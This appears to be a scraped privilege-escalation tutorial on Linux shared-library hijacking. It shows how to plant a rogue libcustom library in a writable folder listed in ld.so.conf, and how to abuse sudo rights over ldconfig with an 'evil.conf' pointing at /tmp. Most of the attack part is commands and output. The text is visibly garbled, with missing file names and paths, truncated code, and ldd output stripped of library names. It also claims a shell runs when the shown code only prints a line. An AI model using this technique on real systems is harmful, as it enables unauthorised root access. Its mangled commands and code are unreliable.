Links privesc exploit example

Prepare the environment

In the following section you can find the code of the files we are going to use to prepare the environment
#include <stdio.h>
#include "libcustom.h"
int main(){
printf("Welcome to my amazing application!\n");
return 0;
#include <stdio.h>
void vuln_func();
#include <stdio.h>
void vuln_func()
  1. 1.
    Create those files in your machine in the same folder
  2. 2.
    Compile the library: gcc -shared -o -fPIC libcustom.c
  3. 3.
    Copy to /usr/lib: sudo cp /usr/lib (root privs)
  4. 4.
    Compile the executable: gcc sharedvuln.c -o sharedvuln -lcustom

Check the environment

Check that is being loaded from /usr/lib and that you can execute the binary.
$ ldd sharedvuln => (0x00007ffc9a1f7000) => /usr/lib/ (0x00007fb27ff4d000) => /lib/x86_64-linux-gnu/ (0x00007fb27fb83000)
/lib64/ (0x00007fb28014f000)
$ ./sharedvuln
Welcome to my amazing application!


In this scenario we are going to suppose that someone has created a vulnerable entry inside a file in /etc/
sudo echo "/home/ubuntu/lib" > /etc/
The vulnerable folder is /home/ubuntu/lib (where we have writable access). Download and compile the following code inside that path:
//gcc -shared -o -fPIC libcustom.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void vuln_func(){
printf("I'm the bad library\n");
Now that we have created the malicious libcustom library inside the misconfigured path, we need to wait for a reboot or for the root user to execute ldconfig (in case you can execute this binary as sudo or it has the suid bit you will be able to execute it yourself).
Once this has happened recheck where is the sharevuln executable loading the library from:
$ldd sharedvuln => (0x00007ffeee766000) => /home/ubuntu/lib/ (0x00007f3f27c1a000) => /lib/x86_64-linux-gnu/ (0x00007f3f27850000)
/lib64/ (0x00007f3f27e1c000)
As you can see it's loading it from /home/ubuntu/lib and if any user executes it, a shell will be executed:
$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
Note that in this example we haven't escalated privileges, but modifying the commands executed and waiting for root or other privileged user to execute the vulnerable binary we will be able to escalate privileges.

Other misconfigurations - Same vuln

In the previous example we faked a misconfiguration where an administrator set a non-privileged folder inside a configuration file inside /etc/ But there are other misconfigurations that can cause the same vulnerability, if you have write permissions in some config file inside /etc/, in the folder /etc/ or in the file /etc/ you can configure the same vulnerability and exploit it.

Exploit 2

Suppose you have sudo privileges over ldconfig. You can indicate ldconfig where to load the conf files from, so we can take advantage of it to make ldconfig load arbitrary folders. So, lets create the files and folders needed to load "/tmp":
cd /tmp
echo "include /tmp/conf/*" >
echo "/tmp" > conf/evil.conf
Now, as indicated in the previous exploit, create the malicious library inside /tmp. And finally, lets load the path and check where is the binary loading the library from:
ldconfig -f
ldd sharedvuln => (0x00007fffa2dde000) => /tmp/ (0x00007fcb07756000) => /lib/x86_64-linux-gnu/ (0x00007fcb0738c000)
/lib64/ (0x00007fcb07958000)
As you can see, having sudo privileges over ldconfig you can exploit the same vulnerability.
I didn't find a reliable way to exploit this vuln if ldconfig is configured with the suid bit. The following error appear: /sbin/ldconfig.real: Can't create temporary cache file /etc/ Permission denied